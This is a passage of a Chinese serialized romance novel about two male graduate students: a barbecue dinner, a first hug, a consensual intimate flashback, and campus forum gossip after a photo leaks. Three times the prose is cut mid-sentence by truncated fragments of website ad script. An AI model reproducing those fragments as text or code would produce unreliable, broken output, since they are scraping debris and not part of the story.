他记得童宽有一个小铁皮罐子,里面就放两种东西,一个是键轴,一个就是糖果,第一次看到的时候,陈艾卅问他为什么这两样东西放在一起,童宽笑得特别贼,让陈艾卅猜猜看。陈艾卅说难道糖果可以防潮么的时候,童宽笑得人仰马翻,那颗虎牙根儿都快瞧见了,整张脸通红,像个熟透了的、但咬起来一定嘎嘣脆的苹果。童宽笑够了,才和陈艾卅解释说道哪有什么为什么,他只有这一个铁皮罐子而已,这俩东西散着都不好放,就都放一起了。陈艾卅说他耍赖,童宽就从罐子里拿了颗糖给陈艾卅吃,就是这种工业糖精的味道,可那天陈艾卅几乎尝不出来,满眼都是童宽笑着的样子,他觉得比嘴里的糖还甜。 后来陈艾卅出去面试,鬼使神差地去了家居店,就买了个密封罐回来,童宽不在宿舍里,陈艾卅就直接把它放到了童宽的桌子上,什么话都没提,后来两人也没有讨论过这个密封罐的事,但后来童宽就把糖专门集中放在这里头了,陈艾卅看见了,心里头也像这个糖果罐子一样,被塞了一半,不满,但还是暖暖的。 他也不是做什么事都游刃有余,在找工作这方面,陈艾卅的确挑剔,照道理来说他硕士毕业、谈吐风趣、外表也有优势,应该是较早定下来的人,可他不是在工作内容上纠结,就是在职业发展上纠结,有的时候还会纠结一下这个行业环不环保,一来二去的,倒成为了留校的那一批,自己的导师也来找过自己,说现在就业大环境不好,还是要抓紧机会,别挑来挑去地把自己挑剩下了,陈艾卅表面答应着,可心里还是有自己的想法,就是多少有些不舒服。 正愁呢,童宽的微信就来了。 “卅哥,之前一直老说要请你吃饭,今天有空吗?” “好,你在哪,我去找你。” “还在超市,要等林琦来。” “那你好了叫我。” “嗯,那一会男寝门口见。” 其实陈艾卅没有回宿舍,而是就在草坪上躺着,他多少还是有些焦虑的,这阵子来面试的企业,想去的门槛高,要他的他不想去,他有些不知道该怎么办,第二天还有个二轮群面,他清楚自己不是那种乐于打配合的人,更适合独来独往,可这个属性的确会被很多企业拒之门外,有的时候想伪装合群,有的时候又想索性一酷到底,陈艾卅始终摇摆不定。 陈艾卅躺着也没计时,就等着童宽给自己发消息。 “你好,请问三号教学楼怎么走?”一个清脆的小姑娘的声音从上方传过来。 陈艾卅皱了皱眉,周围没有别的走动的人了吗,偏偏要问他这个躺着的,睁开眼睛后却是一张漂亮的脸蛋映入了视线,他下意识地坐了起来,手一撑还站了起来,面前的这个小姑娘皮肤白皙,头发是栗色的大波浪卷,头发上有一个晶莹的发卡,眼睛很亮、眼睫毛也很长。 “往前走第一个路口右拐第二栋楼就是了。” “谢谢学长。”小姑娘笑了,唇红齿白的。 她很漂亮。 “能加您个微信吗?”小姑娘又说,“我是艺术生,觉得学长的身材比例很好,不知道以后能不能有机会有幸请您当我的模特?” 本来这句话之前,陈艾卅觉得一切都挺美好的,养眼的姑娘、好听的声音,向自己打听个地方,这种偶然的美让自己刚刚的迷茫暂时喘了口气,可这句话一出来,陈艾卅就知道问路是个借口了,他往女生背后看了过去,没找到应该有的“真心话大冒险”的游戏成员,却看到了童宽的深蓝色书包,在一棵树的背后,他的整个人都被树干遮住了,但书包好像有些鼓囊,还是漏了些出来。 陈艾卅也不知道今天怎么了,原先这种情况给个微信都是顺手的事,他也会在微信里会和女生偶尔聊两句,加过他的女生大多都知道他随意也不太会动气,偶尔会给他开一些无伤大雅的玩笑,“学长,想你了”之类的不计其数,虽然陈艾卅都没正面回应过,但也没有真正明令禁止过让女孩子不要这么和他说话,拒绝女孩子的撒娇与调皮,陈艾卅自认做不到。 但这次不一样,童宽看到自己了,他就躲在那棵树的后面。 他明明知道没什么的,却觉得让童宽不安了。 也许是两个人刚刚才住到了同一间宿舍,如果陈艾卅和别人交往过甚的话,童宽会不会觉得自己背叛了他? “不好意思,不太方便,我朋友在等我,先走了。” 这句话几乎没经过思考,陈艾卅就对那女生说出了口,对于女生眼睛里出现的失望虽然很抱歉,但他不想有更多的误会,话说完了,他接着就往那个躲在树干后面的,深蓝色书包的方向走去。 “出来吧。”陈艾卅对着树干说了一句。 背对着陈艾卅的童宽明显心里一惊,整个人一哆嗦,然后就转了个身。“卅哥。” “结束了怎么不跟我说?”明明说好的结束了就碰头的,这会儿自己也没收到他的消息。 童宽尴尬地笑了笑,“我想到男寝门口再给你发消息的,你刚回来,挺累的吧,能多躺会儿是会儿。” 噢——还挺体贴呢,体贴到遇到自己也不打招呼,就站在树背后看八卦,这小子。 “走吧?打算请我吃什么?” “那个……”童宽有些欲言又止。 “有话就说,吞吞吐吐的。” “那个女生,不用管了吗,她还在那里。”童宽的声音越来越小。 “没事,她刚刚问我要微信来着,我没给。”陈艾卅也不知道为什么要解释给他听。 “……哦。”童宽的声音还是很轻,“卅哥你有什么想吃的么,我不知道有什么好吃的。”末了他又补了一句,“肯定是我请,我带钱了的。” 看他这窘迫样,陈艾卅没忍住笑了出来,好像刚刚还在为工作苦恼的自己就这么轻盈地被剥 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 离了出来,“去吃烤肉吧,学校后街那家,你吃过吗?” 童宽很明显地咽了下口水,但摇了摇头。 “挺贵的,自助烤肉,”陈艾卅故意看了他一眼,“一个人两百多呢。” 他一下就把头抬起来了,陈艾卅弄不清他眼里的是惊讶还是倔强,说出来的话倒是挺硬气的,“我有个项目结算了,现在超有钱,卅哥你敞开了吃!” 看他这模样,陈艾卅心里又酸又软,还有点后悔,拿钱逗这个小男孩干嘛,明明他最缺的就是钱。他忍不住用手又揉了揉童宽的脑袋,“傻小子,一个人59,挺便宜的,但很好吃。” 两个人齐齐往前走的时候,童宽的声里明显还带着些请求,说让陈艾卅别给他省钱,项目真的结算了,今天他们就去吃两百多的烤肉,陈艾卅就说他翅膀硬了管到自己头上了,童宽别过头去笑,即使是后脑勺对着自己,陈艾卅也能感受到那颗小小的虎牙也露出来了,他忍不住用手勾过童宽的脖子,往自己这里拽了拽,手耷拉在童宽的肩膀上,瞧见童宽在自己身边走得小心翼翼的样子,勾着的手还捏了捏他的脸颊,就是不知道是夕阳的颜色晕上了他耳朵的皮肤,还是自己就在那红了,但那个颜色很好看,陈艾卅盯着看了一会儿,轻咳了一下觉得自己幸好刚刚没把微信给出去。 到底还是尊重了童宽的意愿,在进店入口处买单的时候陈艾卅没有和童宽抢买单的机会,看着他在收银处付了一共118块钱,童宽拿着小票的时候满脸高兴,好像终于为陈艾卅做了件什么事一样,他下意识地拉过了陈艾卅的手腕,往店里面走去找空着的位子,陈艾卅也就由着他,两人一前一后,终于找到了个空位坐下。 童宽对着服务员点菜的时候还有些不好意思,陈艾卅见他支支吾吾的,直接菜单也不看了,什么种类的什么肉上几盘儿,服务员记着的时候一点也没在意,点完了就说稍后就上菜,两位可以先去看看饮料,拿一篮子生菜。 “你能喝酒吗?”陈艾卅问童宽。 “我……酒量不好。”童宽有些犹豫,“而且那件事之后,我就,不喝酒了。” 陈艾卅好像今天下定了决心想帮童宽解一个心结似的,又追问道,“陪我简单喝两杯?” 童宽还是有些犹豫,“卅哥你心里有事吗,不开心吗?” “我就是单纯想喝点,”陈艾卅到底还是叹了口气,“要说不爽也是有一点,临毕业找工作么,麻烦事儿总是多一些。你要是不能喝也没事,我简单喝点儿就行。” “那……”童宽咬了下嘴唇,“那我就陪你喝点,我少喝些。” 陈艾卅看向童宽,点了点头,“好。” 肉上来了,酒童宽就拿了两瓶啤酒,都是开了口的,递了一瓶给陈艾卅,自己又在杯子里倒了半杯,童宽见陈艾卅不动,就自己拿了铁夹子夹了肉放到烤盘上,粉色的肉慢慢变白,又有一丝丝的香气从烤盘上溢过来,白色的烟遮住了童宽的半张脸,陈艾卅看着童宽的下颚线有些入迷了,还有在烤盘上来回挪动的手腕,纤细、灵巧也有些力量,这一切和刚刚在草坪上给自己带来视觉冲击的女生太不一样了。 当童宽把第一片烤好的肉放到陈艾卅的餐盘里的时候,陈艾卅的喉结上下滚动了一下,皱着眉下意识地夹了夹自己的双腿,整个人往前坐了坐,人几乎都要贴到桌沿上,桌子把整个大腿部分都遮住了。 “卅哥,太靠前了,油会溅到你。” 陈艾卅呼吸乱了一口,摇了下头,只说了两个字,“没事。” 12. 月落 那天两个人烤肉吃得很晚,具体吃了几盘陈艾卅已经不记得了,他只知道童宽一边烤着一边吃着特别高兴,坐在对面笑得虎牙基本没有藏起来过,整张脸都氤氲在热气后面。一开始是童宽烤的,陈艾卅不知怎么的突然就觉得有些饱了,从童宽的手里拿过了那个不锈钢夹子,陈艾卅说他来烤的时候,童宽还有些不好意思。 陈艾卅发现童宽最喜欢吃猪颈肉了,于是他又问服务员多要了几盘,即使是生菜被吃完了的时候,也没让童宽起来去拿过,都是陈艾卅去拿,他走过一张张桌子,每张桌子上都有着烟火气,笑着的乐着的喝着的人,快乐从四周蔓延过来,可他觉得自己比那些人更快乐,只不过他们快乐得张扬,他是偷着乐的。 他往童宽的方向看去,童宽夹了一片肉,又往烤肉酱里沾了沾,从盘子里摘过最后一片生菜,很小的一瓣儿,接近根部的地方几乎是白色,就着这一小片生菜,在一片猪颈肉上打了个卷儿,就像一条装饰一样,然后整个被送进嘴里。不知道怎么的,童宽的整个动作变慢了,陈艾卅看见了童宽的舌尖,连舌尖上沾染的蔬菜酱都能看见。幸好隔得远,才没有把想提醒他舌尖上沾酱的事脱口而出,也没把想尝尝舌尖上的味儿的想法漏出来。 回到座位后,陈艾卅觉得特别渴,自己的那一瓶啤酒早就喝完了,童宽那还剩了小半瓶,他对着童宽手边的啤酒勾了勾手指,童宽心领神会,就把啤酒递给了他,倒完了还是没满一杯,也就半杯,陈艾卅囫囵一下就喝完了,还是渴。 “卅哥,我去给你拿点水?” “把你的杯子给我吧。”说出口后陈艾卅也惊了一下。 童宽脸上也有疑惑,但还是照做了,他看了一眼自己的杯子,里面还有大半杯啤酒,直接就递给了他。 “你喝这面,这面我没碰过。”童宽特意指了一个地方,还帮他把地方给标了出来。 陈艾卅难得觉得童宽啰嗦,含糊不清地嗯了一声之后,直接拿了过来,也没管到底哪里童宽喝过,直直把剩下的大半杯全都喝了,喝完了还一不小心呛到了气管,陈艾卅咳得惊天动,童宽立刻就走了过来拍拍他的背。 “卅哥,你慢点。” 陈艾卅摆手,好像要抓什么东西,又好像要起来,童宽一下就伸过去把手搭在了陈艾卅的手下面,“怎么了?不舒服?要起来吗?” 可这会儿他的手好像被童宽的手烫到了一样,手心虽然烧着,但还是握了过去,握紧了,但还是在咳嗽,满脸通红和童宽四目相对,童宽都有点儿着急了,想挣脱他的手去给他拿水,陈艾卅的手就跟上了锁一样,一点都不让。 好不容易这阵咳过去了,陈艾卅喘着气,松开了童宽的手,落下了轻飘飘的两个字,“没事。” “卅哥我还是去给你拿杯水。”童宽留下了这句话就去吧台了,他没有在饮料柜里拿各种碳酸水,反而向服务员要了一杯热水,还嫌有点儿烫似的,又去冰桶里夹了两块冰,嘴唇小心翼翼地碰了碰,水温正好,才端着水杯回来。餐厅的隔板并不高,童宽所有的动作都落到了陈艾卅的眼睛里,回来的时候若无其事地接过了水喝了一口,长长呼了一口气。 想了想又笑了笑,“不好意思啊,吓到你了,咽炎,嗓子敏感。” “卅哥你以后少喝酒,刺激。”童宽说得很小声,似乎不想把这句话惹上说教的意味。 陈艾卅点了点头,又喝了一口,冷不丁问出了个问题,“你什么时候知道我有咽炎的?” 这下轮到童宽说不出话了,他盯着陈艾卅看了一会儿,好像一个偷偷做坏事被抓到的小朋友一样,眼睛又垂了下去,手里用铁钳子扒拉着烤盘上沾上去却摘不下来的肉渣,声音很轻,“和你住的时候就知道了。” 陈艾卅不说话,等他说原因。 “你每次刷牙的时候,都会呕好几下。以前院里的阿姨也这样。” “薄荷糖七折是真的吗?”陈艾卅又问。 他其实不太习惯一直问别人问题,但总是对着童宽破例,这小孩儿,有时候藏得太深了。 “第一次是真的,”童宽顿了顿,“第二次是假的。” 陈艾卅点了点头,没有再说话。 “卅哥对不起。” “为什么?” “骗了你,也骗了你朋友。” “你一路瞒了我不少事儿呢,不差这一件,”陈艾卅打趣道,然后又叹了口气,“我知道你不容易。” “没有……卅哥,你别这么说。要不是遇到你,我也不知道自己会这么开心。”童宽对着陈艾卅展了个大笑,嘴咧得很开,眼睛也眯起来了,变成了弯弯的月牙,“还尝到了这么好吃的烤肉。” 陈艾卅怔了怔,心里泛过一阵酸软,他都已经快分不清是可怜他还是心疼他,童宽的眼睫毛在头顶上射灯的照耀下,在脸上刷出了一层半月牙般的阴影,即使从未触碰过,他也觉得触感一定是柔软的。 可说出来的话,却好像是另一层意思,“这里性价比挺高的,你不用太担心。” “不是价钱,是有你陪我吃。” 听着这话陈艾卅眼睛眨了眨,是有自己陪他吃,还是有人陪他吃,陈艾卅不敢问,他好像看见童宽的眼睛里有些什么别的东西一闪而过,但他不确定,也有些不敢去确定,对于童宽,他习惯性打破砂锅问到底,但在这会儿却退缩了。 “卅哥,消食了没,再点两盘虾好不好?” “好,你点吧。” 童宽只要了两份虾上来的时候,陈艾卅还有点儿惊讶,“怎么不再多要些?” “吃不下啦,肚子都鼓起来了。”童宽享受似的摸了摸肚子,“虽然说是得吃回本,但浪费不行,太可耻了。” 陈艾卅听他这话直接笑了出来,感觉自己嗓子也好受些了,“我还是想喝点儿,我再去要一瓶酒吧。” 童宽皱了皱眉,没说话,思考了一会儿才点了点头,“那你喝大半瓶,我喝小半瓶,你别一瓶都喝了。” “行。” 酒拿回来的时候,陈艾卅的餐盘里已经多了三只烤好了的虾。 “卅哥,你是不是心情不好?”童宽问得小心翼翼。 “嗯?”陈艾卅向他摆了个疑问脸。 “感觉你心情不好,是碰到什么事了吗?” “没有,”陈艾卅吸了口气,他是心里觉得有些烦躁,但始终没找到烦躁的源头在哪儿,随便又找了个借口,“也没什么,就是找工作有点麻烦。” “别急,你那么优秀的人,找到好工作是迟早的事。” “这么肯定啊?” “我相信你的卅哥,”末了他又补了一句,“你也要相信你自己。” 陈艾卅看着童宽没说话。 童宽给自己倒上了大半杯酒,也给陈艾卅满上了,他举着酒杯对着自己,“卅哥, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 干杯吗?” “为的什么?” “为……你的判断力。” “怎么说?” “你想做的事,就一定是正确的,我都从不怀疑你,你也不能怀疑自己。” 童宽从来没有对陈艾卅说过这么霸道的话,可陈艾卅却觉得这才是他真正的锋芒,陈艾卅拿过杯子,轻轻和童宽的杯子碰了一下,“听你的,干杯。” 三瓶啤酒的量实在算不上多,可当天从烤肉店出来的时候,陈艾卅都觉得有些站不直了。不知是不是月中,月亮高悬在天上,一场烤肉下来,童宽吃得满足,月光好像映到了童宽的眼睛里,亮亮的,睫毛弯着的弧度很好看,陈艾卅心里总有个疑问,怎么童宽见着他就笑,他不知道自己笑得很好看吗,虎牙尖好像挠着陈艾卅的皮肤一样,觉得痒,可心痒的时候又好像被它刺痛得特别清醒,告诉自己他的心痒可能不对劲。 两个人走到人行横道的时候,倒计时还有七秒,眼见着十几米的距离,陈艾卅本想就等下一次再过去,站着吹会儿风也让自己清醒一点,可童宽不知道哪来的紧迫感,又抓起了陈艾卅的手腕,大步向路上跑去,声音里带着满足的笑,又多了些自由恣意的意思,“卅哥,跑起来——” 想冷静的人却被空气搓热了。 这已经是今天童宽第三次握他的手腕了,可每一次都情有可原。 第一次是要占座。 第二次是要扶他起来。 第三次是抓着他赶红绿灯。 两个人没说话走了一段路,刷了校园卡进了学校,先是走过了一个大草坪,研究生宿舍楼在学校最里边,如果完全沿着路走几乎是要走一个直角,步行的学生一般都会选择穿过化学楼和一个小花园,他俩刚穿过化学楼,小花园里的灯很暗,应该不是本来就这么暗的,而是经年累月下来,里面不知到底有多少蛾子扑进了光,白炽灯上有着黑黢黢的点点,直接把冷白色的光遮住了不少。 两人并行在一块一块的石板路上,离得并不远。 不知道哪来的猫叫了一声,从面前窜了出去,童宽一惊,没掌握好步子,一脚踩在了石板路的缝隙里,整个人往旁边一倒,陈艾卅眼疾手快,伸了右手直接从背后揽住了童宽,左手又抓住了他另外一只胳膊,堪堪将他定住。 童宽就这么屈膝仰着,看着近在咫尺的、逆着月光的陈艾卅的脸。 他也下意识地抓住了陈艾卅的手臂,表情里读不出具体的情绪,嘴唇微微张着。 月落星稀。 不知是谁突然的心跳吵到了在枝丫上躲夜的鹊,呼啦一下飞走了。 陈艾卅的嗓子又痒了,顺着咽喉痒到了肺里,他想吸一大口气,可无论怎么都觉得憋得慌。 童宽的唇薄薄的,几乎没有唇纹,微微张着的时候还能看到一点点嫩白色的门牙,这个白,真像他买的薄荷糖。 他想尝尝,想把这层薄荷的味道从舌尖晕进嗓子里,但身体好似被定住了,怎么也不知道下一个动作该做什么。 “……卅哥。”童宽轻轻叫了他一声。 陈艾卅到底没有纵容自己去舔舐那股清新的气味,但揽着童宽的那只手却把他拥了过来,本来把着人胳膊的手又圈了过去,他把童宽抱进了自己怀里,装作没看到怀中人眼眸里掠过的一丝惊讶。 “让我抱一会儿。” 这句话从月亮上掉进了童宽的耳朵里。 13. 朋友 那是陈艾卅第一次抱童宽,消瘦的肩和单薄的身体,却不似女孩儿那样绵软,陈艾卅更多感受到的是男生独有的那种棱角,但童宽不凌厉,整个人的线条很流畅,他还在童宽后脑的发丝上闻到了一股清新的薄荷味道,比薄荷糖要厚重一些,力道更大,把陈艾卅整个嗅觉都吸了进去。 陈艾卅倚靠在车门附近,明明还是深夜,怎么他却觉得玻璃外的远方透了点白光,看见了那个白光,白光的颜色并不扎眼,好像就是为了重现那一天洒下来的月光一样,后来童宽好像变得结实了一些,抱在怀里的感觉少了点心疼,多了点欣慰。 陈艾卅突然冲着窗外笑了一下,他记得和童宽刚开始同居的时候,其实两人都挺忙的,但好像都拗不过那种新婚夫妻的“归属感”,两人一点儿都不想外食,即使再晚都坚持去买些菜回去做,有的时候吃上饭都快十点了,早过了肚子饿的时候,还是会一起凑在餐桌上吃饭,都狼吞虎咽的,吃的急了还会对视着一起笑。童宽爱吃鱼,但凡只要下班了菜场没关,或者超市的水产区还有一条活鱼,陈艾卅多晚都会给童宽带一条回来,有的时候清蒸、有的时候红烧、有的时候炖上一锅奶白奶白的鱼汤,每每从厨房端出去,都能看见已经拿好碗筷的童宽坐在桌边笑得合不拢嘴,虎牙就这么大喇喇地在那儿,那些刚恋爱时候的羞涩都抛在脑后了,嘴上就知道哄着陈艾卅说爱他,陈艾卅说童宽的肉就是被这一条条鱼给催起来的。 后来童宽真的长胖了些,倒开始担忧起来了,想起来就问陈艾卅是不是自己太胖了,说自己都能捏起腰上的肉了,给他愁得又要大晚上去夜跑,陈艾卅就拉住他说胖点儿好,太瘦了。童宽说不是说胖不好看吗,不好看了卅哥就不会缠着我了。陈艾卅就拉过他抱在怀里,托着屁股一把就抱了起来,把童宽的两条腿放在自己的腰侧,童宽吃不住力,就伸手勾住陈艾卅的脖子,两人挪着就进了卧室。陈艾卅在童宽汗津津的时候,就吮着他的耳朵跟他说,再胖点儿卅哥也能托住,多胖卅哥都要他,童宽在失神的时候会死命抓住陈艾卅,但却很小心不会让指甲刮到他。有一次陈艾卅跟他抱怨,说自己身上一点儿他的痕迹都没有,就好像是一头生猪没盖过章,童宽笑他这比喻,却还是下不了手,陈艾卅就把肩头挪了过去,非让他咬个齿痕,童宽皱着眉说太疼了,陈艾卅不依不饶,最后还是妥协地递了脖子过去,说没齿痕的话,吻痕总可以吧,童宽就捧着陈艾卅的脸,在他左侧的脖子上嘬着,留下了一个浅浅的吻痕。那是个周五,第二天陈艾卅非拉着童宽去光商场,还特意穿了圆领的T恤,衬着脖子特别显眼,还一定要牵着童宽的手,商场里有几个特别明显的眼神,他俩都明白那是什么意思,童宽偶尔会在眼神特别火辣的时候犯一些别扭,可陈艾卅就是不让他的手挣脱自己,像是要告诉全世界似的,这人,我的,这吻痕,就是这人造的。 那个吻痕太浅了,将将就在陈艾卅脖子上留了一两天,可童宽在自己脖子边喷着鼻息的感觉好像还在,在火车上的陈艾卅忍不住用手摸了摸脖子,这么多年过去了,他好像还能精准地抹到童宽留在自己身上的印记在哪里。他和童宽从来不在情事上吝啬,只要感觉来了,屋里、车里、酒店里、野外、童宽后来的办公室里,都有两个人的记忆,有的时候陈艾卅只要闻到童宽身上清新的味儿,就容易动情,这会儿只要眼睛一对上,就能通了心思,童宽从来没有在这方面拒绝过他,相应的,陈艾卅也从未强迫过童宽什么。 陈艾卅深深叹了口气,从未强迫过童宽过什么,他心里又复述了一遍,当时那会儿是不是“强迫”他下班、“强迫”他休息、“强迫”他多看看自己,是不是就好了。他发现,自己给童宽的爱,就是简单托在手上的,童宽从来没有对他想要更多,他也没有强塞给到童宽更多,童宽是不敢,在感情里一直是弱势,那自己呢,自己是什么呢?看似好像在情场里游刃有余,但他此刻却反应过来,自己还是多少有些天真,他这会儿才明白过来,他这样看似“自然而然”给予爱的的方式,好像在占有欲的表达上欠缺了很多,所以自己也让童宽没了安全感吗,所以童宽在自己离开的时候才一言不发吗?所以他放任自己离开吗? 陈艾卅觉得自己好像这七年没有在感情里成长过,童宽也是,处理这事儿的方法,和他们刚暧昧那会儿,太像了。 他忍不住打开了手机,打开了童宽的对话框,即使知道童宽不会有回复,他还是坚持给童宽打了一行字。 “童宽,卅哥想跟你好好聊聊,你快回来吧。” 呼喊着的字,绝望着的字,陈艾卅盼着童宽能够看见。 那天拥抱过后,陈艾卅和童宽之间并没有什么变化,两人还是照常那样,陈艾卅早上出门,基本到了晚饭才回宿舍,童宽就有课有事儿的时候才出门,平日里就一直在宿舍呆着,就是陈艾卅不再逗童宽了,即使带了晚饭回来,在童宽桌上一放,留下一句趁热吃,就要么去洗澡,要么自己在位置上鼓捣着电脑,两个人就在宿舍的斜对角各自安静地坐着。 “学长,那个活动,本周要确定人数了,你这边还有报名的吗?” 梁臣给自己发了个消息来,陈艾卅看了一会儿,又把脑袋微微转了个角度,用余光看到童宽正在码代码,也没问他同不同意,直接就给梁臣回了过去。 “还有一个,费用已经交给我了,我直接转你。”陈艾卅顺手就转了1000块给梁臣。 “好嘞,收到,学长这位同学的名字和电话给我一下吧。” 陈艾卅想了想,打了过去,“童宽。电话不用了,他跟我一块儿走。” “好的。” 看着自己和梁臣的聊天记录,陈艾卅突然有种说不出的感觉,他不知道自己在为童宽挡什么,明明童宽也没认识他多久,之前的日子肯定也是自己一个人扛过来的,要说抗压能力,陈艾卅自认比不过他,可这事儿只要碰到童宽,自己就会忍不住心疼他,想要给他省钱、想要给他行方便,跟中了邪似的,没觉得自己以前是一个做好事上瘾的人啊,这心思怎么天天往人身上拐啊。 想了想,陈艾卅还是清了清嗓子,叫了他一声。 “童宽?” “嗯?”童宽停下了手里的活儿,转过头来,连带着半个身子也转了过来,陈艾卅能看到他露在五分裤之外的膝盖,膝盖骨有点突出,但整体还是圆润,腿的皮肤也很白,只有稀稀疏疏的一些腿毛,颜色很浅,小腿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 胫骨很直,皮肤包在上面好像还泛着光。 “卅哥?”童宽又叫了自己一声。 陈艾卅这才回过神来,魔怔了,看人小腿干什么,变态吗。 “啊,就是跟你说一声,那个活动要报名了,你还参加吗?”明明已经给他交了费用的,陈艾卅这会儿还装上了。 “参加的,卅哥是直接给你转报名费吗?”童宽又问,“是1000不?” “嗯,是,不过报销一半,500就行。” 童宽看了陈艾卅几秒,更多的疑问好像就要呼之欲出了,可终究还是没开口,单单说了一个字。“好。” 陈艾卅看到自己的微信上有了他500转账,说了句“收到了”,就没再开口了。 过了一会儿,倒是童宽问起了细节,“卅哥,你上次说交通费贵,我想问问是哪里,要怎么去。” “挺远的,飞机转火车,再得坐个汽车才到。”陈艾卅说着,“在一个老林子里。” “老林子为什么要种树?” “人砍得太多太快了,偷着砍的也不少,”陈艾卅叹了口气,“自己长的跟不上人砍的。” 童宽点了点头,突然冒了一句,“人真复杂啊,我想做一棵树。” “嗯?”陈艾卅笑了笑,“怎么了,不想做人了?” 童宽也跟着笑,摇了摇头,“哪这么容易,这世界有几件想就能成的事。” 陈艾卅若有所思,然后点了点头,又问他,“怎么想做一棵树?” “有根啊,卅哥。”童宽笑着对自己说。 陈艾卅愣了,他又想抱他了,想把童宽抱在怀里,揉揉他的后脑勺,再拍拍他的背,然后轻轻告诉他,别怕。可到底陈艾卅也只是点了点头,又跟想起什么事似的,和童宽补了一句,“到时候咱俩一起走,路上有个照应。” “不跟团队吗?” “当地集合的来着。” 本来陈艾卅想多说一句“怎么去我来定的”,可到底还是觉得有些强硬了,没说出口,但看童宽犹豫的样子,又实在不想他因为省个机票钱,又折腾自己好几天,可他刚想把头回过去,童宽直接就跟了句话。 “那麻烦你多带带我吧,卅哥。” 他又对着自己笑了,陈艾卅心里跟飘了梧桐絮一样,觉得鼻子、肺哪儿哪儿都痒。他转过去找到了那条梁臣给他的茉莉味的薄荷糖,拿了一个放进了嘴里,满脑子都沁着薄荷味,终于决定心静了些下来。 两个人又各自在桌前安静着,门外走廊里偶尔有人路过,穿着的拖鞋踢里踏拉的。 童宽的电话响了,陈艾卅也收到了一条消息。 “喂,林琦?”童宽拿起了电话接了起来,也不是他俩勤工俭学的时候,不知道有什么事。 听筒里林琦的声音有点儿喘,好像是刚跑过了一段路,“宽哥,你看了吗!学校论坛——” 童宽突然瞪大了眼睛,快速坐到电脑前,切换到浏览器,打开了学校论坛。 同样的消息也在陈艾卅的手机里呈现着。 “Isaac,都抱成这样了,还是普通朋友?” 是斯昀给他发的,还配了个偷笑的表情。 14. 假想 童宽看向陈艾卅的眼神里充满着惊惧,连声音都要发不出来,一声卅哥叫出来已经哑了。 陈艾卅低着头在看斯昀发过来的图,已经是晚上了,其实都看不出是谁,只有虚虚的轮廓,自己是背对着镜头的,只有童宽露了半边脸,论坛上活跃的人对陈艾卅不熟悉,但对这个已经爆过吻照的人印象十分深刻,即使标题上什么都没写,下面匿名留言跟帖的人却不怀好意。 “这不是上次和男的亲嘴的小哥吗?” “又是他,这次换了个男的了,速度可以啊” “我和他同宿舍楼,上次和体育生打架呢” “这个抱他的人是谁啊,身材不错啊” “悄悄说,想看真人的可以去教育超市” “楼上真有你的” “感觉这次换了个更帅的,他真行” “纯魅魔!传点功力给我啊啊啊” 几乎没有议论陈艾卅的,传说的、难听的那些话基本都是对童宽单人的,这帖子也就刚发出来差不多一小时,评论数量已经有50多条了,这也只是抱了一下而已,陈艾卅不敢想象,上次童宽被发接吻照的时候到底承受了多少,而对于自己的影响,陈艾卅甚至一点都没有想到,直到童宽提醒了他一句。 “卅哥,对不起,给你添麻烦了。”童宽没有看自己,但陈艾卅看得到他拳头捏得很紧。 “为什么?”陈艾卅脱口而出。 “……拖累你了。” 陈艾卅皱眉,“你是不是傻?”声音不自禁地大了点,“他们说你,你不怪他们,先来给我赔礼道歉?你错哪儿了?” 童宽捏着拳头不说话,两只眼睛怯生生的,好像想对上陈艾卅的眼跟他理论一番他真的错了,又不敢真的对上去,陈艾卅话里话外都听着有些生气了。 两个人都堵着,童宽低着头,陈艾卅拿着手机,谁也不继续开口。 到底是陈艾卅叹了口气,“我刚刚语气重了,你别放心上,我去联系信息中心删帖。” “别,”童宽有点着急,立刻又跟上了解释,说得很小声,“信息中心管论坛的是李非的朋友。” 陈艾卅禁不住后牙槽发了些酸,又咽了口唾沫。 “那就不删了?” “删不掉的,”童宽低着头说着话,“删掉了还会有新的。” “你知道谁拍的吗?” 童宽摇了摇头,“不知道,八卦的人太多了。我现在都不看他们的评论了。” “你别多想,”陈艾卅说,“我没什么所谓的。” 童宽的头一下子就抬了起来,眼睛对上陈艾卅的,说了一声几不可闻的“嗯。” 说来那晚上是陈艾卅主动抱的他,祸是自己惹的,怎么能去怪罪他。 可好像所有人都在怪罪他,认定了这事和别人没什么关系。 “那天是我要抱你的,”陈艾卅说道,“是我拖累你了。” 童宽好像听到了什么不可思议的话一样,微微张着嘴,怔住了。 “你没有错,童宽。”陈艾卅又重复了一遍,“错的不是你。我也……没有错。” 他看见童宽打了个激灵。 “错的是拍照的人,是发帖子的人,”陈艾卅起身走到童宽边上,又捏了捏他的脸,“不是我们。” 不知道是不是陈艾卅的错觉,童宽的脸在他的指尖上稍微蹭了一下,再一次看向他的时候,眼睛又成了小土狗的模样,可怜兮兮,带着点儿渴望、带着点儿虔诚、带着点儿害怕。 童宽就这么直愣愣地站在陈艾卅面前,蹙着眉应该是在纠结,接着说道:“卅哥,要不以后我们不要走那么近了,我和你错开进出宿舍楼?”他停下来看了一眼陈艾卅,见他没说话,又说了下去,“你不应该被掺和到这种事情里来的,会影响到你的心情,会让你不开心,也……会让你的朋友对你另眼相看。他们有的人说的话……脏。” 可陈艾卅看来,这些不过是人云亦云而已,“小事情,别想太多。”他又伸手揉了揉童宽头顶的发。 又是这一句,别想太多。 陈艾卅不知道的是,那天他出门后,童宽愣了好久的神,也伸手揉了揉自己的头顶,轻轻告诉自己,“别想太多。” 但事实证明,对于这种容易宣扬的事,陈艾卅经历得还是少了。 从一开始大家不知道和童宽拥抱的人是谁,到之后自己去教育超市的时候明显看到几个人的交头接耳,还有一些自己和童宽走在路上、食堂里的一些瞟过来的目光,陈艾卅才明白自己暴露了,校园论坛里的那些匿名用户在传和童宽拥抱的人是英专的前外联部部长。最直观的一次,是自己去导师那边开组会的时候,陈艾卅到得晚,进门的时候大家都坐着了,他刚进门就感受到了两个师妹异样的目光,然后她俩凑在一块儿说话,说不清是兴奋还是嫌弃。 感觉周围的人看穿又不揭穿的滋味的确不好受,可他心里也在疑问,从头到尾,也没个人来问他啊,就任凭自己猜测,去满足自己的幻想吗? 导师还特意留了他下来,欲言又止的样子看得陈艾卅直着急。 